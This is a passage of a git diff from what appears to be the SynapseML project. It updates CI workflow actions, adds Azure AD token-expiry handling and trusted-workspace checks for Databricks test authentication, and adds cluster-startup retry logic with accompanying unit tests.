runs-on: ubuntu-latest steps: - - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 with: fetch-depth: 0 - - uses: actions/setup-python@a26af69be951a213d495a4c3e4e4022e16d87065 # v5.6.0 + - uses: actions/setup-python@5fda3b95a4ea91299a34e894583c3862153e4b97 # v7.0.0 with: python-version: '3.11' @@ -47,21 +47,22 @@ jobs: working-directory: tools/docgen/docgen run: python __main__.py - - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0 + - uses: actions/setup-node@820762786026740c76f36085b0efc47a31fe5020 # v7.0.0 with: - node-version: '18' - cache: 'yarn' - cache-dependency-path: website/yarn.lock + node-version: '24' + cache: 'npm' + cache-dependency-path: website/package-lock.json - name: Install and build website + working-directory: website run: | - cd website - yarn install - yarn build + npm ci + npm test + npm run build - name: Upload artifact (PR preview) if: github.event_name == 'pull_request' - uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4.6.2 + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1 with: name: website-build path: website/build @@ -69,7 +70,7 @@ jobs: - name: Upload Pages artifact if: github.ref == 'refs/heads/master' && github.event_name != 'pull_request' - uses: actions/upload-pages-artifact@56afc609e74202658d3ffba0e8f6dda462b719fa # v3 + uses: actions/upload-pages-artifact@fc324d3547104276b827a68afc52ff2a11cc49c9 # v5.0.0 with: path: website/build @@ -82,8 +83,8 @@ jobs: url: ${{ steps.deployment.outputs.page_url }} steps: - name: Configure Pages - uses: actions/configure-pages@983d7736d9b0ae728b81ab479565c72886d7745b # v5 + uses: actions/configure-pages@45bfe0192ca1faeb007ade9deae92b16b8254a0d # v6.0.0 - name: Deploy to GitHub Pages id: deployment - uses: actions/deploy-pages@d6db90164ac5ed86f2b6aed7e0febac5b3c0c03e # v4 + uses: actions/deploy-pages@cd2ce8fcbc39b97be8ca5fce6e763baed58fa128 # v5.0.0 diff --git a/.gitignore b/.gitignore index 195890ccf3c..481b04c36ed 100644 --- a/.gitignore +++ b/.gitignore @@ -58,6 +58,7 @@ htmlcov # Files created by remark-link package-lock.json +!website/package-lock.json node_modules/ .Rproj.user diff --git a/build.sbt b/build.sbt index 72d00806c69..8e921ebe983 100644 --- a/build.sbt +++ b/build.sbt @@ -383,6 +383,6 @@ val testWebsiteDocs = TaskKey[Unit]("testWebsiteDocs", "test code blocks inside markdowns under folder website/docs/documentation") testWebsiteDocs := { runCmd( - Seq("python", s"${join(baseDirectory.value, "website/doctest.py")}", version.value) + activateCondaEnv ++ Seq("python", s"${join(baseDirectory.value, "website/doctest.py")}", version.value) ) } diff --git a/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/translate/TranslatorSuite.scala b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/translate/TranslatorSuite.scala index 5cc82290d2c..e9c27f0a5f6 100644 --- a/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/translate/TranslatorSuite.scala +++ b/cognitive/src/test/scala/com/microsoft/azure/synapse/ml/services/translate/TranslatorSuite.scala @@ -10,6 +10,8 @@ import org.apache.spark.ml.util.MLReadable import org.apache.spark.sql.DataFrame import org.apache.spark.sql.functions.{col, flatten} +import java.util.Locale + trait TranslatorKey { lazy val translatorKey: String = sys.env.getOrElse("TRANSLATOR_KEY", Secrets.TranslatorKey) @@ -118,7 +120,8 @@ class TranslateSuite extends TransformerFuzzing[Translate] .withColumn("translation", col("translation.text")) .select("translation", "transliteration").collect() assert(results.head.getSeq(0).mkString("\n").contains("大象")) - assert(results.head.getSeq(1).mkString("\n").replaceAllLiterally(" ", "").contains("dàxiàng")) + assert(results.head.getSeq(1).mkString("\n").replaceAllLiterally(" ", "") + .toLowerCase(Locale.ROOT).contains("dàxiàng")) } test("Translate to multiple languages") { diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/Secrets.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/Secrets.scala index 0e9e1875a58..143d0b3aa99 100644 --- a/core/src/test/scala/com/microsoft/azure/synapse/ml/Secrets.scala +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/Secrets.scala @@ -7,9 +7,13 @@ import spray.json.DefaultJsonProtocol._ import spray.json._ import java.io.IOException +import java.time.Instant import scala.sys.process._ +import scala.util.Try object Secrets { + private[ml] case class ExpiringAccessToken(value: String, expiresAt: Instant) + private val KvName = "mmlspark-build-keys" private[ml] val SubscriptionID = "e342c2c0-f844-4b18-9208-52c8c234c30e" @@ -47,10 +51,32 @@ object Secrets { secretJson.parseJson.asJsObject().fields("value").convertTo[String] } - def getAccessToken(reqResource: String): String = { + private def getAccessTokenFields(reqResource: String): Map[String, JsValue] = { println(s"[info] token for perms: $reqResource from $AccountString") val json = exec(s"az account get-access-token --resource $reqResource --output json") - json.parseJson.asJsObject().fields("accessToken").convertTo[String] + json.parseJson.asJsObject().fields + } + + def getAccessToken(reqResource: String): String = { + getAccessTokenFields(reqResource)("accessToken").convertTo[String] + } + + private[ml] def parseExpiringAccessToken(fields: Map[String, JsValue]): ExpiringAccessToken = { + val expiresOn = fields.get("expires_on").flatMap { + case JsNumber(value) => Try(value.toLongExact).toOption + case JsString(value) => Try(value.toLong).toOption + case _ => None + }.getOrElse { + throw new IllegalStateException("Azure CLI access token response did not include a valid expires_on epoch value") + } + ExpiringAccessToken( + fields("accessToken").convertTo[String], + Instant.ofEpochSecond(expiresOn) + ) + } + + private[ml] def getAccessTokenWithExpiry(reqResource: String): ExpiringAccessToken = { + parseExpiringAccessToken(getAccessTokenFields(reqResource)) } lazy val CognitiveApiKey: String = getSecret("cognitive-api-key") diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/SecretsSuite.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/SecretsSuite.scala new file mode 100644 index 00000000000..a72811b7112 --- /dev/null +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/SecretsSuite.scala @@ -0,0 +1,36 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml + +import org.scalatest.funsuite.AnyFunSuite +import spray.json.{JsNumber, JsString} + +import java.time.Instant + +class SecretsSuite extends AnyFunSuite { + + test("Parse Azure CLI access token expiry") { + Seq(JsNumber(1777000000L), JsString("1777000000")).foreach { expiry => + val token = Secrets.parseExpiringAccessToken(Map( + "accessToken" -> JsString("test-token"), + "expires_on" -> expiry + )) + + assert(token.value === "test-token") + assert(token.expiresAt === Instant.ofEpochSecond(1777000000L)) + } + } + + test("Reject Azure CLI access token without a valid numeric expiry") { + Seq(None, Some(JsString("not-an-epoch"))).foreach { expiry => + val fields = Map("accessToken" -> JsString("test-token")) ++ expiry.map("expires_on" -> _) + val error = intercept[IllegalStateException] { + Secrets.parseExpiringAccessToken(fields) + } + + assert(error.getMessage === + "Azure CLI access token response did not include a valid expires_on epoch value") + } + } +} diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/DatabricksClusterStartup.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/DatabricksClusterStartup.scala new file mode 100644 index 00000000000..cf86899c26a --- /dev/null +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/DatabricksClusterStartup.scala @@ -0,0 +1,125 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.nbtest + +import spray.json.DefaultJsonProtocol._ +import spray.json.{JsObject, JsString, JsValue} + +import java.util.concurrent.TimeoutException +import scala.util.control.NonFatal + +private[nbtest] object DatabricksClusterStartup { + private val CloudProviderResourceStockout = "CLOUD_PROVIDER_RESOURCE_STOCKOUT" + + final case class ClusterStatus( + state: String, + terminationCode: Option[String] = None, + message: Option[String] = None) + + final class ClusterStartupException( + val clusterId: String, + val status: ClusterStatus) + extends RuntimeException(clusterStartupFailureMessage(clusterId, status)) { + + def isRetriable: Boolean = status.terminationCode.contains(CloudProviderResourceStockout) + } + + private def clusterStartupFailureMessage(clusterId: String, status: ClusterStatus): String = { + val details = Seq( + status.terminationCode.map(code => s"termination code $code"), + status.message.map(message => s"message: $message") + ).flatten + val suffix = if (details.isEmpty) "" else details.mkString(" (", ", ", ")") + s"Cluster $clusterId entered terminal state ${status.state}$suffix" + } + + def parseClusterStatus(clusterObj: JsValue): ClusterStatus = { + val fields = clusterObj.asJsObject.fields + val terminationFields = fields.get("termination_reason") + .collect { case JsObject(values) => values } + .getOrElse(Map.empty[String, JsValue]) + ClusterStatus( + fields("state").convertTo[String], + terminationFields.get("code").collect { case JsString(value) => value }, + fields.get("state_message").collect { case JsString(value) => value }.filter(_.nonEmpty) + ) + } + + def waitForClusterActive( + clusterId: String, + statusProvider: String => ClusterStatus, + pollDelays: Seq[Int] = Seq.fill(60 * 10)(1000), + sleep: Long => Unit = millis => Thread.sleep(millis)): Unit = { + def await(delays: List[Int], lastStatus: Option[ClusterStatus]): Unit = { + delays match { + case Nil => + val lastState = lastStatus.map(_.state).getOrElse("unavailable") + throw new TimeoutException(s"Cluster $clusterId did not become active; last state was $lastState") + case delay :: remainingDelays => + val status = statusProvider(clusterId) + println(s"Cluster State: ${status.state}") + status.state match { + case "RUNNING" => () + case "TERMINATED" | "ERROR" | "UNKNOWN" => + throw new ClusterStartupException(clusterId, status) + case _ => + sleep(delay.toLong) + await(remainingDelays, Some(status)) + } + } + } + await(pollDelays.toList, None) + } + + def createActiveCluster( + createCluster: Int => String, + waitForActive: String => Unit, + cleanupCluster: String => Unit, + maxAttempts: Int = 3, + retryDelayMs: Long = 30 * 1000L, + sleep: Long => Unit = millis => Thread.sleep(millis)): String = { + require(maxAttempts > 0, "maxAttempts must be positive") + def attemptStartup(attempt: Int): String = { + val clusterId = createCluster(attempt) + try { + waitForActive(clusterId) + clusterId + } catch { + case failure: ClusterStartupException => + cleanupFailedCluster(clusterId, cleanupCluster, failure) + if (!failure.isRetriable || attempt == maxAttempts) { + throw failure + } + println( + s"Cluster $clusterId hit a cloud resource stockout; retrying startup " + + s"after ${retryDelayMs / 1000} seconds") + sleep(retryDelayMs) + attemptStartup(attempt + 1) + case NonFatal(failure) => + cleanupFailedCluster(clusterId, cleanupCluster, failure) + throw failure + } + } + attemptStartup(1) + } + + private def cleanupFailedCluster( + clusterId: String, + cleanupCluster: String => Unit, + startupFailure: Throwable): Unit = { + try { + cleanupCluster(clusterId) + } catch { + case NonFatal(cleanupFailure) => + startupFailure.addSuppressed(cleanupFailure) + println( + s"Failed to clean up cluster $clusterId after startup failure: " + + cleanupFailure.getMessage) + } + } + + def gpuWorkerCount(attempt: Int): Int = { + if (attempt == 1) 2 else 1 + } +} diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/DatabricksGPUTests.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/DatabricksGPUTests.scala index f4954545e54..b08fd194417 100644 --- a/core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/DatabricksGPUTests.scala +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/DatabricksGPUTests.scala @@ -4,30 +4,32 @@ package com.microsoft.azure.synapse.ml.nbtest import com.microsoft.azure.synapse.ml.nbtest.DatabricksUtilities._ +import com.microsoft.azure.synapse.ml.nbtest.DatabricksClusterStartup._ -// Split GPU tests into separate classes so they run as parallel ADO matrix entries. -// Each creates its own cluster because Horovod fine-tuning uses all workers. +class DatabricksGPUTests extends DatabricksTestHelper { -class DatabricksGPUTests1 extends DatabricksTestHelper { private val gpuTimeoutMs = 30 * 60 * 1000 - private val clusterName = s"mmlspark-build-gpu1-${java.time.LocalDateTime.now()}" - val clusterId: String = createClusterInPool(clusterName, AdbGpuRuntime, 2, GpuPoolId) - databricksTestHelper(clusterId, GPULibraries, gpuNotebook(0), 1, List(), gpuTimeoutMs) - protected override def afterAll(): Unit = { afterAllHelper(clusterId, clusterName); super.afterAll() } -} + // Reuse the scarce GPU workers sequentially while the driver runs from the CPU pool. + val clusterId: String = createActiveCluster( + attempt => { + val workerCount = gpuWorkerCount(attempt) + println(s"Creating GPU cluster startup attempt $attempt with $workerCount worker(s)") + createClusterInPool( + GPUClusterName, + AdbGpuRuntime, + workerCount, + GpuPoolId, + driverInstancePoolId = Some(PoolId) + ) + }, + clusterId => waitForClusterActive(clusterId, getClusterStatus), + permanentDeleteCluster + ) -class DatabricksGPUTests2 extends DatabricksTestHelper { - private val gpuTimeoutMs = 30 * 60 * 1000 - private val clusterName = s"mmlspark-build-gpu2-${java.time.LocalDateTime.now()}" - val clusterId: String = createClusterInPool(clusterName, AdbGpuRuntime, 2, GpuPoolId) - databricksTestHelper(clusterId, GPULibraries, gpuNotebook(1), 1, List(), gpuTimeoutMs) - protected override def afterAll(): Unit = { afterAllHelper(clusterId, clusterName); super.afterAll() } -} + databricksTestHelper(clusterId, GPULibraries, GPUNotebooks, 1, List(), gpuTimeoutMs) -class DatabricksGPUTests3 extends DatabricksTestHelper { - private val gpuTimeoutMs = 30 * 60 * 1000 - private val clusterName = s"mmlspark-build-gpu3-${java.time.LocalDateTime.now()}" - val clusterId: String = createClusterInPool(clusterName, AdbGpuRuntime, 2, GpuPoolId) - databricksTestHelper(clusterId, GPULibraries, gpuNotebook(2), 1, List(), gpuTimeoutMs) - protected override def afterAll(): Unit = { afterAllHelper(clusterId, clusterName); super.afterAll() } + protected override def afterAll(): Unit = { + afterAllHelper(clusterId, GPUClusterName) + super.afterAll() + } } diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/DatabricksUtilities.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/DatabricksUtilities.scala index fd17ebaad11..6f48c63213e 100644 --- a/core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/DatabricksUtilities.scala +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/DatabricksUtilities.scala @@ -12,14 +12,16 @@ import com.microsoft.azure.synapse.ml.io.http.RESTHelpers import com.microsoft.azure.synapse.ml.nbtest.DatabricksUtilities.{TimeoutInMillis, monitorJob} import com.microsoft.azure.synapse.ml.nbtest.SprayImplicits._ import org.apache.commons.io.IOUtils -import org.apache.http.client.methods.{HttpGet, HttpPost} +import org.apache.http.client.config.RequestConfig +import org.apache.http.client.methods.{HttpGet, HttpPost, HttpRequestBase} import org.apache.http.entity.StringEntity import org.sparkproject.guava.io.BaseEncoding import spray.json.DefaultJsonProtocol._ import spray.json.{JsArray, JsObject, JsValue, _} import java.io.{File, FileInputStream} -import java.time.LocalDateTime +import java.time.{Instant, LocalDateTime} +import java.util.Locale import java.util.concurrent.{Executors, TimeUnit, TimeoutException} import scala.collection.mutable import scala.concurrent.duration.Duration @@ -40,9 +42,130 @@ object DatabricksUtilities { val NumWorkers = 5 val AutoTerminationMinutes = 15 - lazy val Token: String = sys.env.getOrElse("MML_ADB_TOKEN", Secrets.AdbToken) - lazy val AuthValue: String = "Basic " + BaseEncoding.base64() - .encode(("token:" + Token).getBytes("UTF-8")) + private[nbtest] val AadAuthType = "aad" + private[nbtest] val PatAuthType = "pat" + private[nbtest] val DatabricksAadResource = "2ff814a6-3304-4ab8-85cb-cd0e6f879c1d" + private[nbtest] val AzureManagementResource = "https://management.core.windows.net/" + private[nbtest] val AadWorkspaceHost = "adb-1885762835647850.10.azuredatabricks.net" + private[nbtest] val AadWorkspaceResourceId = + "/subscriptions/e342c2c0-f844-4b18-9208-52c8c234c30e/resourceGroups/" + + "marhamil-mmlspark/providers/Microsoft.Databricks/workspaces/synapseml-build-adb" + private val TokenRefreshBufferSeconds = 5 * 60L + + private[nbtest] final case class WorkspaceConfig(host: String, resourceId: String) + + private[nbtest] final class AadHeaderCache( + tokenProvider: String => Secrets.ExpiringAccessToken, + workspaceConfig: () => WorkspaceConfig, + clock: () => Instant = () => Instant.now()) { + + @volatile private var cachedHeaders: Option[(Instant, Seq[(String, String)])] = None + + def getValidHeaders(): Seq[(String, String)] = synchronized { + val config = workspaceConfig() + val now = clock() + cachedHeaders.filter { case (expiresAt, _) => hasSufficientTokenLifetime(expiresAt, now) } + .map(_._2) + .getOrElse { + val databricksToken = requireToken(tokenProvider(DatabricksAadResource), "Databricks") + val managementToken = requireToken(tokenProvider(AzureManagementResource), "Azure management") + val expiresAt = if (databricksToken.expiresAt.isBefore(managementToken.expiresAt)) { + databricksToken.expiresAt + } else { + managementToken.expiresAt + } + val headers = aadAuthHeaderValues( + databricksToken.value, + managementToken.value, + config.resourceId + ) + cachedHeaders = Some(expiresAt -> headers) + headers + } + } + + private def requireToken(token: Secrets.ExpiringAccessToken, name: String): Secrets.ExpiringAccessToken = { + if (token.value.trim.isEmpty) { + throw new IllegalStateException(s"$name access token was empty") + } + token + } + } + + private lazy val AuthType: String = + sys.env.getOrElse("MML_ADB_AUTH_TYPE", PatAuthType).toLowerCase(Locale.ROOT) + + private def requiredEnv(environment: Map[String, String], name: String): String = { + environment.get(name).map(_.trim).filter(_.nonEmpty).getOrElse { + throw new IllegalArgumentException(s"$name must be set when MML_ADB_AUTH_TYPE=$AadAuthType") + } + } + + private[nbtest] def aadWorkspaceConfig(environment: Map[String, String]): WorkspaceConfig = { + val host = requiredEnv(environment, "MML_ADB_WORKSPACE_HOST") + val resourceId = requiredEnv(environment, "MML_ADB_WORKSPACE_RESOURCE_ID") + if (host != AadWorkspaceHost || resourceId != AadWorkspaceResourceId) { + throw new IllegalArgumentException( + "Databricks AAD authentication is restricted to the trusted SynapseML build workspace") + } + WorkspaceConfig(host, resourceId) + } + + private lazy val TrustedAadWorkspace = aadWorkspaceConfig(sys.env) + + private[nbtest] def hasSufficientTokenLifetime(expiresAt: Instant, now: Instant): Boolean = { + expiresAt.isAfter(now.plusSeconds(TokenRefreshBufferSeconds)) + } + + private[nbtest] def aadAuthHeaderValues( + databricksToken: String, + managementToken: String, + resourceId: String): Seq[(String, String)] = { + Seq( + "Authorization" -> s"Bearer $databricksToken", + "X-Databricks-Azure-SP-Management-Token" -> managementToken, + "X-Databricks-Azure-Workspace-Resource-Id" -> resourceId + ) + } + + private val AadHeaders = new AadHeaderCache( + Secrets.getAccessTokenWithExpiry, + () => TrustedAadWorkspace + ) + + private def aadAuthHeaders: Seq[(String, String)] = AadHeaders.getValidHeaders() + + private lazy val PatAuthHeaders: Seq[(String, String)] = { + val token = sys.env.getOrElse("MML_ADB_TOKEN", Secrets.AdbToken) + val authValue = "Basic " + BaseEncoding.base64() + .encode(("token:" + token).getBytes("UTF-8")) + Seq("Authorization" -> authValue) + } + + private[nbtest] def selectAuthHeaders( + authType: String, + aadHeaders: => Seq[(String, String)], + patHeaders: => Seq[(String, String)]): Seq[(String, String)] = authType match { + case AadAuthType => aadHeaders + case PatAuthType => patHeaders + case other => + throw new IllegalArgumentException( + s"Unsupported MML_ADB_AUTH_TYPE '$other'. Expected '$AadAuthType' or '$PatAuthType'.") + } + + private def authHeaders: Seq[(String, String)] = { + selectAuthHeaders(AuthType, aadAuthHeaders, PatAuthHeaders) + } + + private[nbtest] def disableRedirects(request: HttpRequestBase): Unit = { + val currentConfig = Option(request.getConfig).getOrElse(RESTHelpers.RequestConfigVal) + request.setConfig(RequestConfig.copy(currentConfig).setRedirectsEnabled(false).build()) + } + + private def addAuthHeaders(request: HttpRequestBase): Unit = { + disableRedirects(request) + authHeaders.foreach { case (name, value) => request.addHeader(name, value) } + } lazy val PoolId: String = getPoolIdByName(PoolName) lazy val GpuPoolId: String = getPoolIdByName(GpuPoolName) @@ -73,7 +196,19 @@ object DatabricksUtilities { "pytesseract" ) - def baseURL(apiVersion: String): String = s"https://$Region.azuredatabricks.net/api/$apiVersion/" + private[nbtest] def workspaceHost(authType: String, aadHost: => String): String = { + authType match { + case AadAuthType => aadHost + case PatAuthType => s"$Region.azuredatabricks.net" + case other => + throw new IllegalArgumentException( + s"Unsupported MML_ADB_AUTH_TYPE '$other'. Expected '$AadAuthType' or '$PatAuthType'.") + } + } + + def baseURL(apiVersion: String): String = { + s"https://${workspaceHost(AuthType, TrustedAadWorkspace.host)}/api/$apiVersion/" + } val Libraries: String = ( List(Map("maven" -> Map("coordinates" -> PackageMavenCoordinate, "repo" -> PackageRepository))) ++ @@ -122,8 +257,8 @@ object DatabricksUtilities { .filterNot(_.getAbsolutePath.contains("Flooding Risk")) // Azure Maps Spatial API retired 9/30/2025 .filterNot(_.getAbsolutePath.contains("Geospatial Services")) // Azure Maps Spatial API retired 9/30/2025 - // Split CPU notebooks into 3 partitions for parallel ADO matrix jobs. - // Each partition creates its own cluster, so all 3 run simultaneously. + // Split CPU notebooks into 5 partitions for parallel ADO matrix jobs. + // Each partition creates its own cluster, so all 5 run simultaneously. // Sort by absolute path for stable, deterministic partitioning across machines. private val SortedCPUNotebooks = CPUNotebooks.sortBy(_.getAbsolutePath) val NumCPUPartitions = 5 @@ -133,17 +268,15 @@ object DatabricksUtilities { val GPUNotebooks: Seq[File] = ParallelizableNotebooks.filter { file => file.getAbsolutePath.contains("Fine-tune") || file.getAbsolutePath.contains("Phi Model") - } + }.sortBy(_.getAbsolutePath) - private val SortedGPUNotebooks = GPUNotebooks.sortBy(_.getAbsolutePath) - - def gpuNotebook(index: Int): Seq[File] = Seq(SortedGPUNotebooks(index)) + def gpuNotebook(index: Int): Seq[File] = Seq(GPUNotebooks(index)) val RapidsNotebooks: Seq[File] = ParallelizableNotebooks.filter(_.getAbsolutePath.contains("GPU")) def databricksGet(path: String, apiVersion: String = "2.0"): JsValue = { val request = new HttpGet(baseURL(apiVersion) + path) - request.addHeader("Authorization", AuthValue) + addAuthHeaders(request) val random = new Random() // Use a jittered retry to avoid overwhelming RESTHelpers.sendAndParseJson(request, backoffs = List.fill(3) { 1000 + random.nextInt(1000) @@ -153,7 +286,7 @@ object DatabricksUtilities { //TODO convert all this to typed code def databricksPost(path: String, body: String, apiVersion: String = "2.0"): JsValue = { val request = new HttpPost(baseURL(apiVersion) + path) - request.addHeader("Authorization", AuthValue) + addAuthHeaders(request) request.setEntity(new StringEntity(body)) RESTHelpers.sendAndParseJson(request) } @@ -220,8 +353,26 @@ object DatabricksUtilities { numWorkers: Int, poolId: String, initScripts: String = "[]", - memory: Option[String] = None): String = { + memory: Option[String] = None, + driverInstancePoolId: Option[String] = None): String = { + databricksPost("clusters/create", createClusterRequest( + clusterName, + sparkVersion, + numWorkers, + poolId, + initScripts, + memory, + driverInstancePoolId + )).select[String]("cluster_id") + } + private[nbtest] def createClusterRequest(clusterName: String, + sparkVersion: String, + numWorkers: Int, + poolId: String, + initScripts: String = "[]", + memory: Option[String] = None, + driverInstancePoolId: Option[String] = None): String = { val memoryConf = memory.map { m => s""" |"spark.executor.memory": "$m", @@ -229,25 +380,28 @@ object DatabricksUtilities { |""".stripMargin }.getOrElse("") - val body = - s""" - |{ - | "cluster_name": "$clusterName", - | "spark_version": "$sparkVersion", - | "num_workers": $numWorkers, - | "autotermination_minutes": $AutoTerminationMinutes, - | "instance_pool_id": "$poolId", - | "spark_conf": { - | $memoryConf - | "spark.sql.shuffle.partitions": "auto" - | }, - | "spark_env_vars": { - | "PYSPARK_PYTHON": "/databricks/python3/bin/python3" - | }, - | "init_scripts": $initScripts - |} - """.stripMargin - databricksPost("clusters/create", body).select[String]("cluster_id") + val driverPoolConf = driverInstancePoolId + .map(id => s""""driver_instance_pool_id": "$id",""") + .getOrElse("") + + s""" + |{ + | "cluster_name": "$clusterName", + | "spark_version": "$sparkVersion", + | "num_workers": $numWorkers, + | "autotermination_minutes": $AutoTerminationMinutes, + | "instance_pool_id": "$poolId", + | $driverPoolConf + | "spark_conf": { + | $memoryConf + | "spark.sql.shuffle.partitions": "auto" + | }, + | "spark_env_vars": { + | "PYSPARK_PYTHON": "/databricks/python3/bin/python3" + | }, + | "init_scripts": $initScripts + |} + """.stripMargin } def installLibraries(clusterId: String, libraries: String): Unit = { @@ -289,6 +443,10 @@ object DatabricksUtilities { () } + private[nbtest] def getClusterStatus(clusterId: String): DatabricksClusterStartup.ClusterStatus = { + DatabricksClusterStartup.parseClusterStatus(databricksGet(s"clusters/get?cluster_id=$clusterId")) + } + def submitRun(clusterId: String, notebookPath: String, timeoutSeconds: Int = TimeoutInMillis / 1000): Long = { val body = @@ -307,10 +465,9 @@ object DatabricksUtilities { } def isClusterActive(clusterId: String): Boolean = { - val clusterObj = databricksGet(s"clusters/get?cluster_id=$clusterId") - val state = clusterObj.select[String]("state") - println(s"Cluster State: $state") - state == "RUNNING" + val status = getClusterStatus(clusterId) + println(s"Cluster State: ${status.state}") + status.state == "RUNNING" } def areLibrariesInstalled(clusterId: String): Boolean = { @@ -462,9 +619,7 @@ abstract class DatabricksTestHelper extends TestBase { println("Checking if cluster is active") // Pool-backed clusters start in ~1.5-3.5 min; allow up to 10 min - tryWithRetries(Seq.fill(60 * 10)(1000).toArray) { () => - assert(isClusterActive(clusterId)) - } + DatabricksClusterStartup.waitForClusterActive(clusterId, getClusterStatus) Thread.sleep(1000) // Ensure cluster is not overwhelmed println("Installing libraries") @@ -488,7 +643,7 @@ abstract class DatabricksTestHelper extends TestBase { } futures.zip(notebooks).foreach { case (f, nb) => test(nb.getName) { - Await.result(f, Duration(timeoutMs.toLong, TimeUnit.MILLISECONDS)) + Await.result(f, Duration(timeoutMs.toLong + 2 * 60 * 1000, TimeUnit.MILLISECONDS)) } } diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/DatabricksUtilitiesSuite.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/DatabricksUtilitiesSuite.scala new file mode 100644 index 00000000000..9a451ed1484 --- /dev/null +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/DatabricksUtilitiesSuite.scala @@ -0,0 +1,378 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.nbtest + +import com.microsoft.azure.synapse.ml.Secrets.ExpiringAccessToken +import com.microsoft.azure.synapse.ml.io.http.RESTHelpers +import org.apache.http.client.methods.HttpGet +import org.scalatest.funsuite.AnyFunSuite +import spray.json.DefaultJsonProtocol._ +import spray.json._ + +import java.time.Instant +import scala.collection.mutable + +class DatabricksUtilitiesSuite extends AnyFunSuite { + + test("Accept only the trusted Databricks AAD workspace") { + val environment = Map( + "MML_ADB_WORKSPACE_HOST" -> DatabricksUtilities.AadWorkspaceHost, + "MML_ADB_WORKSPACE_RESOURCE_ID" -> DatabricksUtilities.AadWorkspaceResourceId + ) + + assert(DatabricksUtilities.aadWorkspaceConfig(environment) === + DatabricksUtilities.WorkspaceConfig( + DatabricksUtilities.AadWorkspaceHost, + DatabricksUtilities.AadWorkspaceResourceId + )) + + val missingHost = intercept[IllegalArgumentException] { + DatabricksUtilities.aadWorkspaceConfig(environment - "MML_ADB_WORKSPACE_HOST") + } + assert(missingHost.getMessage.contains("MML_ADB_WORKSPACE_HOST must be set")) + + val untrustedHost = intercept[IllegalArgumentException] { + DatabricksUtilities.aadWorkspaceConfig( + environment.updated("MML_ADB_WORKSPACE_HOST", "untrusted.example.com")) + } + assert(untrustedHost.getMessage.contains("restricted to the trusted SynapseML build workspace")) + + val untrustedResource = intercept[IllegalArgumentException] { + DatabricksUtilities.aadWorkspaceConfig( + environment.updated("MML_ADB_WORKSPACE_RESOURCE_ID", "/subscriptions/untrusted")) + } + assert(untrustedResource.getMessage.contains("restricted to the trusted SynapseML build workspace")) + } + + test("Build Databricks AAD headers without exposing mutable destinations") { + val headers = DatabricksUtilities.aadAuthHeaderValues( + "databricks-token", + "management-token", + DatabricksUtilities.AadWorkspaceResourceId + ).toMap + + assert(headers("Authorization") === "Bearer databricks-token") + assert(headers("X-Databricks-Azure-SP-Management-Token") === "management-token") + assert(headers("X-Databricks-Azure-Workspace-Resource-Id") === + DatabricksUtilities.AadWorkspaceResourceId) + } + + test("Reuse tokens with more than five minutes remaining") { + val now = Instant.parse("2026-07-24T12:00:00Z") + + assert(DatabricksUtilities.hasSufficientTokenLifetime(now.plusSeconds(301), now)) + } + + test("Refresh tokens at the five minute buffer") { + val now = Instant.parse("2026-07-24T12:00:00Z") + + assert(!DatabricksUtilities.hasSufficientTokenLifetime(now.plusSeconds(300), now)) + assert(!DatabricksUtilities.hasSufficientTokenLifetime(now.minusSeconds(1), now)) + } + + test("Cache AAD headers until the earlier token nears expiration") { + val now = Instant.parse("2026-07-24T12:00:00Z") + val requestedResources = mutable.ArrayBuffer.empty[String] + val config = DatabricksUtilities.WorkspaceConfig( + DatabricksUtilities.AadWorkspaceHost, + DatabricksUtilities.AadWorkspaceResourceId + ) + val cache = new DatabricksUtilities.AadHeaderCache( + resource => { + requestedResources += resource + val expiresAt = if (resource == DatabricksUtilities.DatabricksAadResource) { + now.plusSeconds(1800) + } else { + now.plusSeconds(1200) + } + ExpiringAccessToken(s"token-$resource", expiresAt) + }, + () => config, + () => now + ) + + val first = cache.getValidHeaders() + val second = cache.getValidHeaders() + + assert(first === second) + assert(requestedResources === Seq( + DatabricksUtilities.DatabricksAadResource, + DatabricksUtilities.AzureManagementResource + )) + } + + test("Refresh AAD headers inside the five minute expiry buffer") { + var now = Instant.parse("2026-07-24T12:00:00Z") + var tokenRequests = 0 + val config = DatabricksUtilities.WorkspaceConfig( + DatabricksUtilities.AadWorkspaceHost, + DatabricksUtilities.AadWorkspaceResourceId + ) + val cache = new DatabricksUtilities.AadHeaderCache( + resource => { + tokenRequests += 1 + ExpiringAccessToken(s"$resource-$tokenRequests", now.plusSeconds(600)) + }, + () => 